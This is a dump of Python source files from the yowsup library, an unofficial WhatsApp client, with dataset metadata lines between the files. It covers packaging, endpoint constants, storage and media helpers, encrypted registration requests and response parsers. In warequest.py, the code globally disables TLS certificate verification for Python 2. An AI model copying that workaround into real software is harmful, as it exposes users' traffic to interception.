#!/usr/bin/env python from __future__ import print_function from setuptools import setup, find_packages import yowsup import platform import sys deps = ['consonance==0.1.5', 'argparse', 'python-axolotl==0.2.2', 'six==1.10', 'appdirs', 'protobuf>=3.6.0'] if sys.version_info < (2, 7): deps.append('importlib') if platform.system().lower() == "windows": deps.append('pyreadline') else: try: import readline except ImportError: deps.append('readline') setup( name='yowsup', version=yowsup.__version__, url='http://github.com/tgalal/yowsup/', license='GPL-3+', author='Tarek Galal', tests_require=[], install_requires = deps, scripts = ['yowsup-cli'], #cmdclass={'test': PyTest}, author_email='tare2.galal@gmail.com', description='The WhatsApp lib', #long_description=long_description, packages= find_packages(), include_package_data=True, data_files = [('yowsup/common', ['yowsup/common/mime.types'])], platforms='any', #test_suite='', classifiers = [ 'Programming Language :: Python', 'Development Status :: 4 - Beta', 'Natural Language :: English', #'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)', 'Operating System :: OS Independent', 'Topic :: Software Development :: Libraries :: Python Modules' ], #extras_require={ # 'testing': ['pytest'], #} )
1,543
Python
.py
48
27.145833
108
0.638498
tgalal/yowsup
7,053
2,225
472
GPL-3.0
9/5/2024, 5:13:02 PM (Europe/Amsterdam)
21,493
__init__.py
tgalal_yowsup/yowsup/__init__.py
import logging __version__ = "3.3.0" __author__ = "Tarek Galal" logger = logging.getLogger(__name__) # create console handler and set level to debug ch = logging.StreamHandler() ch.setLevel(logging.DEBUG) # create formatter formatter = logging.Formatter('%(levelname).1s %(asctime)s %(name)s - %(message)s') # add formatter to ch ch.setFormatter(formatter) # add ch to logger logger.addHandler(ch)
405
Python
.py
13
29.615385
83
0.750649
tgalal/yowsup
7,053
2,225
472
GPL-3.0
9/5/2024, 5:13:02 PM (Europe/Amsterdam)
21,494
constants.py
tgalal_yowsup/yowsup/common/constants.py
class YowConstants: DOMAIN = "s.whatsapp.net" ENDPOINTS = ( ("e1.whatsapp.net", 443), ("e2.whatsapp.net", 443), ("e3.whatsapp.net", 443), ("e4.whatsapp.net", 443), ("e5.whatsapp.net", 443), ("e6.whatsapp.net", 443), ("e7.whatsapp.net", 443), ("e8.whatsapp.net", 443), ("e9.whatsapp.net", 443), ("e10.whatsapp.net", 443), ("e11.whatsapp.net", 443), ("e12.whatsapp.net", 443), ("e13.whatsapp.net", 443), ("e14.whatsapp.net", 443), ("e15.whatsapp.net", 443), ("e16.whatsapp.net", 443), ) WHATSAPP_SERVER = "s.whatsapp.net" WHATSAPP_GROUP_SERVER = "g.us" YOWSUP = "yowsup" PREVIEW_WIDTH = 64 PREVIEW_HEIGHT = 64
785
Python
.py
25
23.72
38
0.523118
tgalal/yowsup
7,053
2,225
472
GPL-3.0
9/5/2024, 5:13:02 PM (Europe/Amsterdam)
21,495
optionalmodules.py
tgalal_yowsup/yowsup/common/optionalmodules.py
import importlib import logging logger = logging.getLogger(__name__) class OptionalModule(object): def __init__(self, modulename, failMessage = None, require = False): self.modulename = modulename self.require = require self.failMessage = failMessage def __enter__(self): return self.importFn def importFn(self, what = None): imp = self.modulename if not what else ("%s.%s" % (self.modulename, what)) return importlib.import_module(imp) def __exit__(self, exc_type, exc_val, exc_tb): if isinstance(exc_val, ImportError): failMessage = self.failMessage if self.failMessage is not None else ("%s import failed" % self.modulename) if failMessage: logger.error(failMessage) if self.require: raise return True class PILOptionalModule(OptionalModule): def __init__(self, failMessage = None, require = False): super(PILOptionalModule, self).__init__("PIL", failMessage= failMessage, require = require) class FFVideoOptionalModule(OptionalModule): def __init__(self, failMessage = None, require = False): super(FFVideoOptionalModule, self).__init__("ffvideo", failMessage=failMessage, require=require)
1,342
Python
.py
31
34.290323
118
0.636992
tgalal/yowsup
7,053
2,225
472
GPL-3.0
9/5/2024, 5:13:02 PM (Europe/Amsterdam)
21,496
tools.py
tgalal_yowsup/yowsup/common/tools.py
import os from .constants import YowConstants import codecs, sys import logging import tempfile import base64 import hashlib import os.path, mimetypes import uuid from consonance.structs.keypair import KeyPair from appdirs import user_config_dir from .optionalmodules import PILOptionalModule, FFVideoOptionalModule logger = logging.getLogger(__name__) class Jid: @staticmethod def normalize(number): if '@' in number: return number elif "-" in number: return "%s@%s" % (number, YowConstants.WHATSAPP_GROUP_SERVER) return "%s@%s" % (number, YowConstants.WHATSAPP_SERVER) class HexTools: decode_hex = codecs.getdecoder("hex_codec") @staticmethod def decodeHex(hexString): result = HexTools.decode_hex(hexString)[0] if sys.version_info >= (3,0): result = result.decode('latin-1') return result class WATools: @staticmethod def generateIdentity(): return os.urandom(20) @classmethod def generatePhoneId(cls): """ :return: :rtype: str """ return str(cls.generateUUID()) @classmethod def generateDeviceId(cls): """ :return: :rtype: bytes """ return cls.generateUUID().bytes @classmethod def generateUUID(cls): """ :return: :rtype: uuid.UUID """ return uuid.uuid4() @classmethod def generateKeyPair(cls): """ :return: :rtype: KeyPair """ return KeyPair.generate() @staticmethod def getFileHashForUpload(filePath): sha1 = hashlib.sha256() f = open(filePath, 'rb') try: sha1.update(f.read()) finally: f.close() b64Hash = base64.b64encode(sha1.digest()) return b64Hash if type(b64Hash) is str else b64Hash.decode() class StorageTools: NAME_CONFIG = "config.json" @staticmethod def constructPath(*path): path = os.path.join(*path) fullPath = os.path.join(user_config_dir(YowConstants.YOWSUP), path) if not os.path.exists(os.path.dirname(fullPath)): os.makedirs(os.path.dirname(fullPath)) return fullPath @staticmethod def getStorageForProfile(profile_name): if type(profile_name) is not str: profile_name = str(profile_name) return StorageTools.constructPath(profile_name) @staticmethod def writeProfileData(profile_name, name, val): logger.debug("writeProfileData(profile_name=%s, name=%s, val=[omitted])" % (profile_name, name)) path = os.path.join(StorageTools.getStorageForProfile(profile_name), name) logger.debug("Writing %s" % path) with open(path, 'w' if type(val) is str else 'wb') as attrFile: attrFile.write(val) @staticmethod def readProfileData(profile_name, name, default=None): logger.debug("readProfileData(profile_name=%s, name=%s)" % (profile_name, name)) path = StorageTools.getStorageForProfile(profile_name) dataFilePath = os.path.join(path, name) if os.path.isfile(dataFilePath): logger.debug("Reading %s" % dataFilePath) with open(dataFilePath, 'rb') as attrFile: return attrFile.read() else: logger.debug("%s does not exist" % dataFilePath) return default @classmethod def writeProfileConfig(cls, profile_name, config): cls.writeProfileData(profile_name, cls.NAME_CONFIG, config) @classmethod def readProfileConfig(cls, profile_name, config): return cls.readProfileData(profile_name, cls.NAME_CONFIG) class ImageTools: @staticmethod def scaleImage(infile, outfile, imageFormat, width, height): with PILOptionalModule() as imp: Image = imp("Image") im = Image.open(infile) #Convert P mode images if im.mode != "RGB": im = im.convert("RGB") im.thumbnail((width, height)) im.save(outfile, imageFormat) return True return False @staticmethod def getImageDimensions(imageFile): with PILOptionalModule() as imp: Image = imp("Image") im = Image.open(imageFile) return im.size @staticmethod def generatePreviewFromImage(image): fd, path = tempfile.mkstemp() preview = None if ImageTools.scaleImage(image, path, "JPEG", YowConstants.PREVIEW_WIDTH, YowConstants.PREVIEW_HEIGHT): fileObj = os.fdopen(fd, "rb+") fileObj.seek(0) preview = fileObj.read() fileObj.close() os.remove(path) return preview class MimeTools: MIME_FILE = os.path.join(os.path.dirname(__file__), 'mime.types') mimetypes.init() # Load default mime.types try: mimetypes.init([MIME_FILE]) # Append whatsapp mime.types except exception as e: logger.warning("Mime types supported can't be read. System mimes will be used. Cause: " + e.message) @staticmethod def getMIME(filepath): mimeType = mimetypes.guess_type(filepath)[0] if mimeType is None: raise Exception("Unsupported/unrecognized file type for: "+filepath); return mimeType class VideoTools: @staticmethod def getVideoProperties(videoFile): with FFVideoOptionalModule() as imp: VideoStream = imp("VideoStream") s = VideoStream(videoFile) return s.width, s.height, s.bitrate, s.duration #, s.codec_name @staticmethod def generatePreviewFromVideo(videoFile): with FFVideoOptionalModule() as imp: VideoStream = imp("VideoStream") fd, path = tempfile.mkstemp('.jpg') stream = VideoStream(videoFile) stream.get_frame_at_sec(0).image().save(path) preview = ImageTools.generatePreviewFromImage(path) os.remove(path) return preview
6,058
Python
.py
170
27.547059
111
0.637481
tgalal/yowsup
7,053
2,225
472
GPL-3.0
9/5/2024, 5:13:02 PM (Europe/Amsterdam)
21,497
warequest.py
tgalal_yowsup/yowsup/common/http/warequest.py
from .waresponseparser import ResponseParser from yowsup.env import YowsupEnv import sys import logging from axolotl.ecc.curve import Curve from axolotl.ecc.ec import ECPublicKey from yowsup.common.tools import WATools from cryptography.hazmat.primitives.ciphers.aead import AESGCM from yowsup.config.v1.config import Config from yowsup.profile.profile import YowProfile import struct import random import base64 if sys.version_info < (3, 0): import httplib from urllib import quote as urllib_quote if sys.version_info >= (2, 7, 9): # see https://github.com/tgalal/yowsup/issues/677 import ssl ssl._create_default_https_context = ssl._create_unverified_context else: from http import client as httplib from urllib.parse import quote as urllib_quote logger = logging.getLogger(__name__) class WARequest(object): OK = 200 ENC_PUBKEY = Curve.decodePoint( bytearray([ 5, 142, 140, 15, 116, 195, 235, 197, 215, 166, 134, 92, 108, 60, 132, 56, 86, 176, 97, 33, 204, 232, 234, 119, 77, 34, 251, 111, 18, 37, 18, 48, 45 ]) ) def __init__(self, config_or_profile): """ :type method: str :param config_or_profile: :type config: yowsup.config.v1.config.Config | YowProfile """ self.pvars = [] self.port = 443 self.type = "GET" self.parser = None self.params = [] self.headers = {} self.sent = False self.response = None if isinstance(config_or_profile, Config): logger.warning("Passing Config to WARequest is deprecated, pass a YowProfile instead") profile = YowProfile(config_or_profile.phone, config_or_profile) else: assert isinstance(config_or_profile, YowProfile) profile = config_or_profile self._config = profile.config config = self._config self._p_in = str(config.phone)[len(str(config.cc)):] self._axolotlmanager = profile.axolotl_manager if config.expid is None: config.expid = WATools.generateDeviceId() if config.fdid is None: config.fdid = WATools.generatePhoneId() if config.client_static_keypair is None: config.client_static_keypair = WATools.generateKeyPair() self.addParam("cc", config.cc) self.addParam("in", self._p_in) self.addParam("lg", "en") self.addParam("lc", "GB") self.addParam("mistyped", "6") self.addParam("authkey", self.b64encode(config.client_static_keypair.public.data)) self.addParam("e_regid", self.b64encode(struct.pack('>I', self._axolotlmanager.registration_id))) self.addParam("e_keytype", self.b64encode(b"\x05")) self.addParam("e_ident", self.b64encode(self._axolotlmanager.identity.publicKey.serialize()[1:])) signedprekey = self._axolotlmanager.load_latest_signed_prekey(generate=True) self.addParam("e_skey_id", self.b64encode(struct.pack('>I', signedprekey.getId())[1:])) self.addParam("e_skey_val", self.b64encode(signedprekey.getKeyPair().publicKey.serialize()[1:])) self.addParam("e_skey_sig", self.b64encode(signedprekey.getSignature())) self.addParam("fdid", config.fdid) self.addParam("expid", self.b64encode(config.expid)) self.addParam("network_radio_type", "1") self.addParam("simnum", "1") self.addParam("hasinrc", "1") self.addParam("pid", int(random.uniform(100, 9999))) self.addParam("rc", 0) if self._config.id: self.addParam("id", self._config.id) def setParsableVariables(self, pvars): self.pvars = pvars def onResponse(self, name, value): if name == "status": self.status = value elif name == "result": self.result = value def addParam(self, name, value): self.params.append((name, value)) def removeParam(self, name): for i in range(0, len(self.params)): if self.params[i][0] == name: del self.params[i] def addHeaderField(self, name, value): self.headers[name] = value def clearParams(self): self.params = [] def getUserAgent(self): return YowsupEnv.getCurrent().getUserAgent() def send(self, parser=None, encrypt=True, preview=False): logger.debug("send(parser=%s, encrypt=%s, preview=%s)" % ( None if parser is None else "[omitted]", encrypt, preview )) if self.type == "POST": return self.sendPostRequest(parser) return self.sendGetRequest(parser, encrypt, preview=preview) def setParser(self, parser): if isinstance(parser, ResponseParser): self.parser = parser else: logger.error("Invalid parser") def getConnectionParameters(self): if not self.url: return "", "", self.port try: url = self.url.split("://", 1) url = url[0] if len(url) == 1 else url[1] host, path = url.split('/', 1) except ValueError: host = url path = "" path = "/" + path return host, self.port, path def encryptParams(self, params, key): """ :param params: :type params: list :param key: :type key: ECPublicKey :return: :rtype: list """ keypair = Curve.generateKeyPair() encodedparams = self.urlencodeParams(params) cipher = AESGCM(Curve.calculateAgreement(key, keypair.privateKey)) ciphertext = cipher.encrypt(b'\x00\x00\x00\x00' + struct.pack('>Q', 0), encodedparams.encode(), b'') payload = base64.b64encode(keypair.publicKey.serialize()[1:] + ciphertext) return [('ENC', payload)] def sendGetRequest(self, parser=None, encrypt_params=True, preview=False): logger.debug("sendGetRequest(parser=%s, encrypt_params=%s, preview=%s)" % ( None if parser is None else "[omitted]", encrypt_params, preview )) self.response = None if encrypt_params: logger.debug("Encrypting parameters") if logger.level <= logging.DEBUG: logger.debug("pre-encrypt (encoded) parameters = \n%s", (self.urlencodeParams(self.params))) params = self.encryptParams(self.params, self.ENC_PUBKEY) else: ## params will be logged right before sending params = self.params parser = parser or self.parser or ResponseParser() headers = dict( list( { "User-Agent": self.getUserAgent(), "Accept": parser.getMeta() }.items() ) + list(self.headers.items())) host, port, path = self.getConnectionParameters() self.response = WARequest.sendRequest(host, port, path, headers, params, "GET", preview=preview) if preview: logger.info("Preview request, skip response handling and return None") return None if not self.response.status == WARequest.OK: logger.error("Request not success, status was %s" % self.response.status) return {} data = self.response.read() logger.info(data) self.sent = True return parser.parse(data.decode(), self.pvars) def sendPostRequest(self, parser=None): self.response = None params = self.params # [param.items()[0] for param in self.params]; parser = parser or self.parser or ResponseParser() headers = dict(list({"User-Agent": self.getUserAgent(), "Accept": parser.getMeta(), "Content-Type": "application/x-www-form-urlencoded" }.items()) + list(self.headers.items())) host, port, path = self.getConnectionParameters() self.response = WARequest.sendRequest(host, port, path, headers, params, "POST") if not self.response.status == WARequest.OK: logger.error("Request not success, status was %s" % self.response.status) return {} data = self.response.read() logger.info(data) self.sent = True return parser.parse(data.decode(), self.pvars) def b64encode(self, value): return base64.urlsafe_b64encode(value).replace(b'=', b'') @classmethod def urlencode(cls, value): if type(value) not in (str, bytes): value = str(value) out = "" for char in value: if type(char) is int: char = bytearray([char]) quoted = urllib_quote(char, safe='') out += quoted if quoted[0] != '%' else quoted.lower() return out \ .replace('-', '%2d') \ .replace('_', '%5f') \ .replace('~', '%7e') @classmethod def urlencodeParams(cls, params): merged = [] for k, v in params: merged.append( "%s=%s" % (k, cls.urlencode(v)) ) return "&".join(merged) @classmethod def sendRequest(cls, host, port, path, headers, params, reqType="GET", preview=False): logger.debug("sendRequest(host=%s, port=%s, path=%s, headers=%s, params=%s, reqType=%s, preview=%s)" % ( host, port, path, headers, params, reqType, preview )) params = cls.urlencodeParams(params) path = path + "?" + params if reqType == "GET" and params else path if not preview: logger.debug("Opening connection to %s" % host) conn = httplib.HTTPSConnection(host, port) if port == 443 else httplib.HTTPConnection(host, port) else: logger.debug("Should open connection to %s, but this is a preview" % host) conn = None if not preview: logger.debug("Sending %s request to %s" % (reqType, path)) conn.request(reqType, path, params, headers) else: logger.debug("Should send %s request to %s, but this is a preview" % (reqType, path)) return None response = conn.getresponse() return response
10,328
Python
.py
240
33.2875
112
0.602595
tgalal/yowsup
7,053
2,225
472
GPL-3.0
9/5/2024, 5:13:02 PM (Europe/Amsterdam)
21,498
waresponseparser.py
tgalal_yowsup/yowsup/common/http/waresponseparser.py
import json, sys from xml.dom import minidom import plistlib import logging logger = logging.getLogger(__name__) class ResponseParser(object): def __init__(self): self.meta = "*" def parse(self, text, pvars): return text def getMeta(self): return self.meta def getVars(self, pvars): if type(pvars) is dict: return pvars if type(pvars) is list: out = {} for p in pvars: out[p] = p return out class XMLResponseParser(ResponseParser): def __init__(self): try: import libxml2 except ImportError: print("libxml2 XMLResponseParser requires libxml2") sys.exit(1) self.meta = "text/xml"; def parse(self, xml, pvars): import libxml2 doc = libxml2.parseDoc(xml) pvars = self.getVars(pvars) vals = {} for k, v in pvars.items(): res = doc.xpathEval(v) vals[k] = [] for r in res: #if not vals.has_key(r.name): # vals[r.name] = [] if r.type == 'element': #vals[r.name].append(self.xmlToDict(minidom.parseString(str(r)))[r.name]) vals[k].append(self.xmlToDict(minidom.parseString(str(r)))[r.name]) elif r.type == 'attribute': vals[k].append(r.content) else: logger.error("UNKNOWN TYPE") if len(vals[k]) == 1: vals[k] = vals[k][0] elif len(vals[k]) == 0: vals[k] = None return vals def xmlToDict(self, xmlNode): if xmlNode.nodeName == "#document": node = {xmlNode.firstChild.nodeName:{}} node[xmlNode.firstChild.nodeName] = self.xmlToDict(xmlNode.firstChild) return node node = {} curr = node if xmlNode.attributes: for name, value in xmlNode.attributes.items(): curr[name] = value for n in xmlNode.childNodes: if n.nodeType == n.TEXT_NODE: curr["__TEXT__"] = n.data continue if not n.nodeName in curr: curr[n.nodeName] = [] if len(xmlNode.getElementsByTagName(n.nodeName)) > 1: #curr[n.nodeName] = [] curr[n.nodeName].append(self.xmlToDict(n)) else: curr[n.nodeName] = self.xmlToDict(n) return node class JSONResponseParser(ResponseParser): def __init__(self): self.meta = "text/json" def parse(self, jsonData, pvars): d = json.loads(jsonData) pvars = self.getVars(pvars) parsed = {} for k,v in pvars.items(): parsed[k] = self.query(d, v) return parsed def query(self, d, key): keys = key.split('.', 1) currKey = keys[0] if(currKey in d): item = d[currKey] if len(keys) == 1: return item if type(item) is dict: return self.query(item, keys[1]) elif type(item) is list: output = [] for i in item: output.append(self.query(i, keys[1])) return output else: return None class PListResponseParser(ResponseParser): def __init__(self): self.meta = "text/xml" def parse(self, xml, pvars): #tmp = minidom.parseString(xml) if sys.version_info >= (3, 0): pl = plistlib.readPlistFromBytes(xml.encode()); else: pl = plistlib.readPlistFromString(xml); parsed= {} pvars = self.getVars(pvars) for k,v in pvars.items(): parsed[k] = pl[k] if k in pl else None return parsed;
4,304
Python
.py
113
23.292035
93
0.516848
tgalal/yowsup
7,053
2,225
472
GPL-3.0
9/5/2024, 5:13:02 PM (Europe/Amsterdam)
21,499
__init__.py
tgalal_yowsup/yowsup/common/http/__init__.py
from .httpproxy import HttpProxy from .warequest import WARequest from .waresponseparser import JSONResponseParser
114
Python
.py
3
37.333333
48
0.892857
tgalal/yowsup
7,053
2,225
472
GPL-3.0
9/5/2024, 5:13:02 PM (Europe/Amsterdam)